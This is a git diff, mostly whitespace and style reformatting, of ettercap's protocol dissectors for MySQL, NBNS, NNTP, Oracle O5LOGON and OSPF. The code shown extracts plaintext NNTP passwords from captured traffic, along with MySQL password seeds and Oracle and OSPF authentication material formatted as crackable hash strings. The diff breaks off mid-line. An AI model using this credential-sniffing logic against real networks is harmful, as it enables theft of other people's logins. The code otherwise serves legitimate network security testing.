/* save the username */ - PACKET->DISSECTOR.user = strdup((const char*)ptr); + PACKET->DISSECTOR.user = strdup((const char *)ptr); /* Reach the encrypted password */ ptr += strlen(PACKET->DISSECTOR.user) + 1; - if (ptr < end && strlen((const char*)ptr) != 0) { - int length = strlen(s->data) + strlen((const char*)ptr) + 128; + if (ptr < end && strlen((const char *)ptr) != 0) { + int length = strlen(s->data) + strlen((const char *)ptr) + 128; SAFE_CALLOC(PACKET->DISSECTOR.pass, length, sizeof(char)); snprintf(PACKET->DISSECTOR.pass, length, "Seed:%s Encrypted:%s", (char *)s->data, ptr); } else { PACKET->DISSECTOR.pass = strdup("No Password!!!"); } - + DISSECT_MSG("MYSQL : %s:%d -> USER:%s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mysql)); } } @@ -215,4 +211,3 @@ FUNC_DECODER(dissector_mysql) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_nbns.c b/src/dissectors/ec_nbns.c index 69c3dde0a..8152e2035 100644 --- a/src/dissectors/ec_nbns.c +++ b/src/dissectors/ec_nbns.c @@ -1,22 +1,22 @@ /* - ettercap -- dissector NBNS -- UDP 137 - - Copyright (C) Ettercap Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -*/ + * ettercap -- dissector NBNS -- UDP 137 + * + * Copyright (C) Ettercap Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ #include #include @@ -26,7 +26,6 @@ * NBNS RFC: http://www.faqs.org/rfcs/rfc1002.html */ - #define TYPE_NB 0x0020 #define TYPE_NBSTAT 0x0021 #define CLASS_IN 0x0001 @@ -35,67 +34,66 @@ #define NBNS_DECODED_NAME_LEN 16 struct nbns_header { - u_int16 transactid; /* Transaction ID */ + u_int16 transactid; /* Transaction ID */ #ifdef WORDS_BIGENDIAN - u_char response: 1; /* response or query */ - u_char opcode: 4; /* opcode */ - /* nm_flags */ - u_char aa: 1; - u_char tc: 1; - u_char rd: 1; - u_char ra: 1; - u_char unused: 2; - u_char broadcast: 1; - u_char rcode: 4; /* RCODE */ + u_char response : 1; /* response or query */ + u_char opcode : 4; /* opcode */ + /* nm_flags */ + u_char aa : 1; + u_char tc : 1; + u_char rd : 1; + u_char ra : 1; + u_char unused : 2; + u_char broadcast : 1; + u_char rcode : 4; /* RCODE */ #else - u_char rd: 1; - u_char tc: 1; - u_char aa: 1; - u_char opcode: 4; - u_char response: 1; - u_char rcode: 4; - u_char broadcast: 1; - u_char unused: 2; - u_char ra: 1; + u_char rd : 1; + u_char tc : 1; + u_char aa : 1; + u_char opcode : 4; + u_char response : 1; + u_char rcode : 4; + u_char broadcast : 1; + u_char unused : 2; + u_char ra : 1; #endif - u_int16 qd_count; /* QDCOUNT */ - u_int16 an_count; /* AN_COUNT */ - u_int16 ns_count; /* NS_COUNT */ - u_int16 ar_count; /* AR_COUNT */ + u_int16 qd_count; /* QDCOUNT */ + u_int16 an_count; /* AN_COUNT */ + u_int16 ns_count; /* NS_COUNT */ + u_int16 ar_count; /* AR_COUNT */ }; struct nbns_query { - struct nbns_header header; - char question[NBNS_NAME_LEN+2]; - u_int16 type; - u_int16 class; + struct nbns_header header; + char question[NBNS_NAME_LEN + 2]; + u_int16 type; + u_int16 class; }; struct nbns_rdata { - u_int16 len; - u_int16 nbflags; - u_int32 addr; + u_int16 len; + u_int16 nbflags; + u_int32 addr; }; #define NBNS_MSGLEN_QUERY_RESPONSE 70 -#define NBNS_TTL_POS 12+1+NBNS_NAME_LEN+1+2+2 +#define NBNS_TTL_POS 12 + 1 + NBNS_NAME_LEN + 1 + 2 + 2 #define NBNS_RDATA_POS NBNS_TTL_POS + 2 #define NBNS_QUERY_POS 12 struct nbns_response { - struct nbns_header header; - char rr_name[NBNS_NAME_LEN+2]; /* RR_NAME */ - u_int16 type; - u_int16 class; - u_int32 ttl; - struct nbns_rdata rr_data; + struct nbns_header header; + char rr_name[NBNS_NAME_LEN + 2]; /* RR_NAME */ + u_int16 type; + u_int16 class; + u_int32 ttl; + struct nbns_rdata rr_data; }; - struct nbns_spoof_entry { - char *name; - struct ip_addr ip; /* no ipv6 nbns */ - SLIST_ENTRY(nbns_spoof_entry) next; + char *name; + struct ip_addr ip; /* no ipv6 nbns */ + SLIST_ENTRY(nbns_spoof_entry) next; }; /* protos */ @@ -104,83 +102,78 @@ FUNC_DECODER(dissector_nbns); void nbns_init(void); static int nbns_expand(char *compressed, char *dst); - -/* +/* * initializer */ void __init nbns_init(void) { - dissect_add("nbns", APP_LAYER_UDP, 137, dissector_nbns); + dissect_add("nbns", APP_LAYER_UDP, 137, dissector_nbns); } FUNC_DECODER(dissector_nbns) { - struct nbns_header *header; - struct nbns_query *query; - struct nbns_response *response; + struct nbns_header *header; + struct nbns_query *query; + struct nbns_response *response; - char name[NBNS_NAME_LEN]; - char ip[IP_ASCII_ADDR_LEN]; + char name[NBNS_NAME_LEN]; + char ip[IP_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - - memset(name, 0, NBNS_NAME_LEN); - - header = (struct nbns_header *)po->DATA.data; - - DEBUG_MSG("NBNS dissector -> port 137"); - - /* HOOK_POINT: HOOK_PROTO_NBNS */ - hook_point(HOOK_PROTO_NBNS, PACKET); - - - if (header->response) { - response = (struct nbns_response *)po->DATA.data; - - if (response->class != CLASS_IN) - return NULL; - - nbns_expand(response->rr_name, name); - - struct ip_addr addr; - ip_addr_init(&addr, AF_INET, (u_char*)&response->rr_data.addr); - ip_addr_ntoa(&addr, ip); - - DEBUG_MSG("NBNS Transaction ID [0x%04x] Response: %s -> %s\n", ntohs(header->transactid), name, ip); - } else { - query = (struct nbns_query *)po->DATA.data; - nbns_expand(query->question, name); - - DEBUG_MSG("NBNS Transaction ID [0x%04x] Query: %s", ntohs(header->transactid), name); - } - - return NULL; -} + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; -static int nbns_expand(char *compressed, char *dst) -{ - //format compressed\00 - int len = 0; - int x=0; - char j, k; + memset(name, 0, NBNS_NAME_LEN); + header = (struct nbns_header *)po->DATA.data; - for(len = 1; x < NBNS_NAME_LEN; len+=2){ - j = (compressed[len] & 0x3f)-1; - k = (compressed[len+1] & 0x3f)-1; - dst[x/2] = (j<<4)+(k); - x+=2; - } + DEBUG_MSG("NBNS dissector -> port 137"); - char *s = strstr(dst, " "); + /* HOOK_POINT: HOOK_PROTO_NBNS */ + hook_point(HOOK_PROTO_NBNS, PACKET); - if (s) - *s = '\0'; + if (header->response) { + response = (struct nbns_response *)po->DATA.data; - return len; + if (response->class != CLASS_IN) + return NULL; + nbns_expand(response->rr_name, name); + + struct ip_addr addr; + ip_addr_init(&addr, AF_INET, (u_char *)&response->rr_data.addr); + ip_addr_ntoa(&addr, ip); + + DEBUG_MSG("NBNS Transaction ID [0x%04x] Response: %s -> %s\n", ntohs(header->transactid), name, ip); + } else { + query = (struct nbns_query *)po->DATA.data; + nbns_expand(query->question, name); + + DEBUG_MSG("NBNS Transaction ID [0x%04x] Query: %s", ntohs(header->transactid), name); + } + + return NULL; } +static int nbns_expand(char *compressed, char *dst) +{ + // format compressed\00 + int len = 0; + int x = 0; + char j, k; + + for (len = 1; x < NBNS_NAME_LEN; len += 2) { + j = (compressed[len] & 0x3f) - 1; + k = (compressed[len + 1] & 0x3f) - 1; + dst[x / 2] = (j << 4) + (k); + x += 2; + } + + char *s = strstr(dst, " "); + + if (s) + *s = '\0'; + + return len; +} diff --git a/src/dissectors/ec_nntp.c b/src/dissectors/ec_nntp.c index a15cf77e9..0bf3e3aff 100644 --- a/src/dissectors/ec_nntp.c +++ b/src/dissectors/ec_nntp.c @@ -1,29 +1,29 @@ /* - ettercap -- dissector NNTP -- TCP 119 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector NNTP -- TCP 119 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * The authentication schema can be found here: - * + * * ftp://ftp.rfc-editor.org/in-notes/rfc2980.txt - * + * */ #include @@ -56,34 +56,33 @@ FUNC_DECODER(dissector_nntp) struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("nntp", s, dissector_nntp); CREATE_SESSION_ON_SYN_ACK("nntps", s, dissector_nntp); - + /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("nntp", "nntps", s, ident, dissector_nntp) { - + DEBUG_MSG("\tdissector_nntp BANNER"); /* - * get the banner + * get the banner * ptr + 4 to skip the initial 200 response */ - if (!strncmp((const char*)ptr, "200", 3)) { - PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); - + if (!strncmp((const char *)ptr, "200", 3)) { + PACKET->DISSECTOR.banner = strdup((const char *)ptr + 4); + /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL) *ptr = '\0'; } - } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) - + /* skip messages coming from the server */ if (FROM_SERVER("nntp", PACKET) || FROM_SERVER("nntps", PACKET)) return NULL; @@ -91,36 +90,36 @@ FUNC_DECODER(dissector_nntp) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("NNTP --> TCP dissector_nntp"); - + /* skip the whitespaces at the beginning */ - while(*ptr == ' ' && ptr != end) ptr++; - + while (*ptr == ' ' && ptr != end) ptr++; + /* reached the end */ if (ptr == end) return NULL; /* harvest the username */ - if ( !strncasecmp((const char*)ptr, "AUTHINFO USER ", 14) ) { + if (!strncasecmp((const char *)ptr, "AUTHINFO USER ", 14)) { DEBUG_MSG("\tDissector_nntp USER"); - + /* create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_nntp)); - + ptr += 14; - + /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ - s->data = strdup((const char*)ptr); - s->data_len = strlen((const char*)ptr); - + s->data = strdup((const char *)ptr); + s->data_len = strlen((const char *)ptr); + /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; - + /* save the session */ session_put(s); @@ -128,15 +127,15 @@ FUNC_DECODER(dissector_nntp) } /* harvest the password */ - if ( !strncasecmp((const char*)ptr, "AUTHINFO PASS ", 14) ) { + if (!strncasecmp((const char *)ptr, "AUTHINFO PASS ", 14)) { DEBUG_MSG("\tDissector_nntp PASS"); - + ptr += 14; - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_nntp)); - + /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); @@ -148,31 +147,29 @@ FUNC_DECODER(dissector_nntp) SAFE_FREE(ident); return NULL; } - + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); - - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; /* free the session */ session_free(s); SAFE_FREE(ident); - + DISSECT_MSG("NNTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_o5logon.c b/src/dissectors/ec_o5logon.c index 5dc4aeb52..006f3f03b 100644 --- a/src/dissectors/ec_o5logon.c +++ b/src/dissectors/ec_o5logon.c @@ -85,7 +85,7 @@ FUNC_DECODER(dissector_o5logon) char tmp[MAX_ASCII_ADDR_LEN]; struct o5logon_status *conn_status = NULL; - //suppress unused warning + // suppress unused warning (void)end; (void)DECODE_DATA; (void)DECODE_DATALEN; @@ -103,20 +103,21 @@ FUNC_DECODER(dissector_o5logon) } /* Fetch state of existing session */ - conn_status = (struct o5logon_status*)s->data; + conn_status = (struct o5logon_status *)s->data; if (PACKET->DATA.len == 0) { /* * We output this packet just in case, but we may see more data * later and output another copy with more fields. See issue #741. */ - if (conn_status->flags.pkcs != EC_O5LOGON_NO_PKCS7 && - conn_status->flags.user && - conn_status->flags.s_sk && - conn_status->flags.vfr) { - DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s\n", conn_status->user, - ip_addr_ntoa(&conn_status->srv_addr, tmp), - conn_status->srv_sk, conn_status->salt); + if (conn_status->flags.pkcs != EC_O5LOGON_NO_PKCS7 && + conn_status->flags.user && + conn_status->flags.s_sk && + conn_status->flags.vfr) + { + DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s\n", conn_status->user, + ip_addr_ntoa(&conn_status->srv_addr, tmp), + conn_status->srv_sk, conn_status->salt); } if (PACKET->L4.flags & (TH_FIN | TH_RST)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_o5logon)); @@ -136,14 +137,13 @@ FUNC_DECODER(dissector_o5logon) ano += 25; #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: client ver %u.%u.%u.%u.%u (PKCS)\n", - ano[0], ano[1] >> 4, ano[1] & 15 , ano[2], ano[3]); + DISSECT_MSG("O5LOGON: client ver %u.%u.%u.%u.%u (PKCS)\n", + ano[0], ano[1] >> 4, ano[1] & 15, ano[2], ano[3]); #endif if ((ano[0] << 16) + (ano[1] << 8) + ano[2] < 0x0a2003) { conn_status->flags.pkcs = EC_O5LOGON_PKCS7; } - } - else { + } else { u_char *csk; u_char *pw; @@ -154,48 +154,48 @@ FUNC_DECODER(dissector_o5logon) /* Find username, best effort */ /* Names are 1 to 30 bytes and may include multibyte */ u_char *end = sp - 1; - while(end > ptr && *end < 0x20) { + while (end > ptr && *end < 0x20) { end--; } - while(end > ptr && *end == '\'' && end[1] == 0) { + while (end > ptr && *end == '\'' && end[1] == 0) { end--; } u_char *start = end; - while(start > ptr && *start != 0xff && *start >= 0x20) { + while (start > ptr && *start != 0xff && *start >= 0x20) { start--; } ++start; size_t length = (size_t)(end - start) + 1; - strncpy((char*)conn_status->user, (char*)start, - sizeof(conn_status->user) - 1); + strncpy((char *)conn_status->user, (char *)start, + sizeof(conn_status->user) - 1); if (length < sizeof(conn_status->user)) conn_status->user[length] = 0; #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got username %s%s\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - conn_status->user, - conn_status->flags.c_ano == 1 ? "" : "(no ANO seen)"); + DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got username %s%s\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + conn_status->user, + conn_status->flags.c_ano == 1 ? "" : "(no ANO seen)"); #endif conn_status->flags.user = 1; } } if (conn_status->flags.pw == 0 && - (pw = memmem(ptr, PACKET->DATA.len, "AUTH_PASSWORD", 13))) { + (pw = memmem(ptr, PACKET->DATA.len, "AUTH_PASSWORD", 13))) + { char password[256 + 1]; int pwlen = 0; if (memrchr(pw, 0x60, 24)) { pwlen = 0x60; pw = memrchr(pw, 0x60, 24); - } - else + } else pwlen = 0x40; if ((pw = memrchr(pw, 0x40, 24))) { @@ -210,18 +210,19 @@ FUNC_DECODER(dissector_o5logon) password[pwlen] = 0; strncpy(conn_status->pw, password, sizeof(conn_status->pw)); #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got encrypted password\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got encrypted password\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); #endif conn_status->flags.pw = 1; } } if (conn_status->flags.c_sk == 0 && - (csk = memmem(ptr, PACKET->DATA.len, "AUTH_SESSKEY", 12))) { + (csk = memmem(ptr, PACKET->DATA.len, "AUTH_SESSKEY", 12))) + { u_char sk[97]; int i; @@ -241,44 +242,44 @@ FUNC_DECODER(dissector_o5logon) strncpy(conn_status->cli_sk, sk, sizeof(conn_status->cli_sk)); conn_status->flags.c_sk = 1; #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got client session key\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got client session key\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); #endif } #if EC_O5LOGON_VERBOSE else { DISSECT_MSG("O5LOGON: %s:%d->%s:%d saw AUTH_SESSKEY but " - "couldn't parse client session key?\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + "couldn't parse client session key?\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); } #endif } } if (conn_status && conn_status->flags.user && conn_status->flags.s_sk && - conn_status->flags.vfr && conn_status->flags.pw && - conn_status->flags.c_sk) { - DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s*%s*%s\n", - conn_status->user, - ip_addr_ntoa(&conn_status->srv_addr, tmp), - conn_status->srv_sk, - conn_status->salt, - conn_status->pw, - conn_status->cli_sk); + conn_status->flags.vfr && conn_status->flags.pw && + conn_status->flags.c_sk) + { + DISSECT_MSG("O5LOGON: %s@%s:$o5logon$%s*%s*%s*%s\n", + conn_status->user, + ip_addr_ntoa(&conn_status->srv_addr, tmp), + conn_status->srv_sk, + conn_status->salt, + conn_status->pw, + conn_status->cli_sk); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_o5logon)); } - } - else { /* From server */ + } else { /* From server */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct o5logon_status*)s->data; + conn_status = (struct o5logon_status *)s->data; if (conn_status->flags.s_ano == 0) { if (PACKET->DATA.len > 32) { @@ -287,13 +288,12 @@ FUNC_DECODER(dissector_o5logon) ano += 25; conn_status->flags.s_ano = 1; #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: server ver %u.%u.%u.%u.%u\n", ano[0], - ano[1] >> 4, ano[1] & 15 , ano[2], ano[3]); + DISSECT_MSG("O5LOGON: server ver %u.%u.%u.%u.%u\n", ano[0], + ano[1] >> 4, ano[1] & 15, ano[2], ano[3]); #endif if (ano[0] >= 0x0c) { conn_status->flags.pkcs = EC_O5LOGON_NO_PKCS7; - } - else if ((ano[0] << 16) + (ano[1] << 8) + ano[2] < 0x0a2003) { + } else if ((ano[0] << 16) + (ano[1] << 8) + ano[2] < 0x0a2003) { conn_status->flags.pkcs = EC_O5LOGON_PKCS7; } } @@ -310,16 +310,16 @@ FUNC_DECODER(dissector_o5logon) if (saltp) { saltp++; - strncpy((char*)salt, (char*)saltp, 20); + strncpy((char *)salt, (char *)saltp, 20); salt[20] = 0; strncpy(conn_status->salt, salt, sizeof(conn_status->salt)); #if EC_O5LOGON_VERBOSE - DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got VFR\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got VFR\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); #endif conn_status->flags.vfr = 1; } @@ -346,15 +346,15 @@ FUNC_DECODER(dissector_o5logon) } sk[96] = 0; - memcpy(&conn_status->srv_addr, &PACKET->L3.src, - sizeof(conn_status->srv_addr)); + memcpy(&conn_status->srv_addr, &PACKET->L3.src, + sizeof(conn_status->srv_addr)); strncpy(conn_status->srv_sk, sk, sizeof(conn_status->srv_sk)); #if EC_O5LOGON_VERBOSE DISSECT_MSG("O5LOGON: %s:%d->%s:%d Got server session key\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); #endif conn_status->flags.s_sk = 1; } @@ -363,22 +363,21 @@ FUNC_DECODER(dissector_o5logon) if (memmem(ptr, PACKET->DATA.len, "invalid username", 16)) { DISSECT_MSG("O5LOGON: Login to %s:%d as %s failed! " - "Invalid username or password\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - conn_status->user); + "Invalid username or password\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + conn_status->user); conn_status->flags.user = 0; conn_status->flags.s_sk = 0; conn_status->flags.vfr = 0; conn_status->flags.pw = 0; conn_status->flags.c_sk = 0; - } - else if (memmem(ptr, PACKET->DATA.len, "account is locked", 17)) { + } else if (memmem(ptr, PACKET->DATA.len, "account is locked", 17)) { DISSECT_MSG("O5LOGON: Login to %s:%d as %s failed, account locked!\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - conn_status->user); + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + conn_status->user); conn_status->flags.user = 0; conn_status->flags.s_sk = 0; @@ -389,11 +388,11 @@ FUNC_DECODER(dissector_o5logon) #if EC_O5LOGON_VERBOSE } else { - DISSECT_MSG("O5LOGON: No session; %s:%d -> %s:%d\n", - ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + DISSECT_MSG("O5LOGON: No session; %s:%d -> %s:%d\n", + ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); #endif } } diff --git a/src/dissectors/ec_ospf.c b/src/dissectors/ec_ospf.c index b71dc7033..647179a4c 100644 --- a/src/dissectors/ec_ospf.c +++ b/src/dissectors/ec_ospf.c @@ -1,24 +1,24 @@ /* - ettercap -- dissector ospf -- works over IP ! - - Copyright (C) ALoR & NaGA - Copyright (C) Dhiru Kholia (dhiru [at] openwall.com) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector ospf -- works over IP ! + * + * Copyright (C) ALoR & NaGA + * Copyright (C) Dhiru Kholia (dhiru [at] openwall.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * RFC: 2328 @@ -41,7 +41,7 @@ * * * RFC 5709 is relevant for OSPFv2 HMAC-SHA Cryptographic Authentication. -*/ + */ #include #include @@ -61,8 +61,7 @@ #define OSPF_AUTH_HMAC_SHA384_SIZE 48U #define OSPF_AUTH_HMAC_SHA512_SIZE 64U -struct ospf_header -{ +struct ospf_header { u_int8 version; /* OSPF Version. */ u_int8 type; /* Packet Type. */ u_int16 length; /* Packet Length. */ @@ -71,13 +70,11 @@ struct ospf_header u_int16 checksum; /* Check Sum. */ u_int16 auth_type; /* Authentication Type. */ /* Authentication Data. */ - union - { + union { /* Simple Authentication. */ - u_char auth_data [OSPF_AUTH_SIMPLE_SIZE]; + u_char auth_data[OSPF_AUTH_SIMPLE_SIZE]; /* Cryptographic Authentication. */ - struct - { + struct { u_int16_t zero; /* Should be 0. */ u_char key_id; /* Key ID. */ u_char auth_data_len; /* Auth Data Length. */ @@ -117,7 +114,7 @@ FUNC_DECODER(dissector_ospf) char pass[12]; /* don't complain about unused var */ - (void) DECODED_LEN; + (void)DECODED_LEN; // (void)end; /* skip empty packets */ @@ -131,58 +128,56 @@ FUNC_DECODER(dissector_ospf) struct ospf_header *ohdr = (struct ospf_header *)ptr; /* authentication */ - if ( ntohs(ohdr->auth_type) == OSPF_AUTH_CRYPTOGRAPHIC ) { - unsigned int i = 0; - - unsigned int length = ntohs(ohdr->length); - unsigned auth_data_len = ohdr->u.crypt.auth_data_len; - int type = 0; - - /* validate the packet */ - if (length * 2 > BUFSIZE) - return NULL; - if (length > buflen) - return NULL; - - if (auth_data_len == OSPF_AUTH_MD5_SIZE) { - DISSECT_MSG("OSPF-%s-%d:$netmd5$", - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); - } else if (auth_data_len == OSPF_AUTH_HMAC_SHA1_SIZE) { - type = 1; - } else if (auth_data_len == OSPF_AUTH_HMAC_SHA256_SIZE) { - type = 2; - } else if (auth_data_len == OSPF_AUTH_HMAC_SHA384_SIZE) { - type = 3; - } else if (auth_data_len == OSPF_AUTH_HMAC_SHA512_SIZE) { - type = 4; - } else { - return NULL; - } - - if (type != 0) { - DISSECT_MSG("OSPF-%s-%d:$ospf$%d$", - ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), type); - } - - for (i=0; iauth_type) == OSPF_AUTH ) { /* Simple Authentication */ + if (ntohs(ohdr->auth_type) == OSPF_AUTH_CRYPTOGRAPHIC) { + unsigned int i = 0; + + unsigned int length = ntohs(ohdr->length); + unsigned auth_data_len = 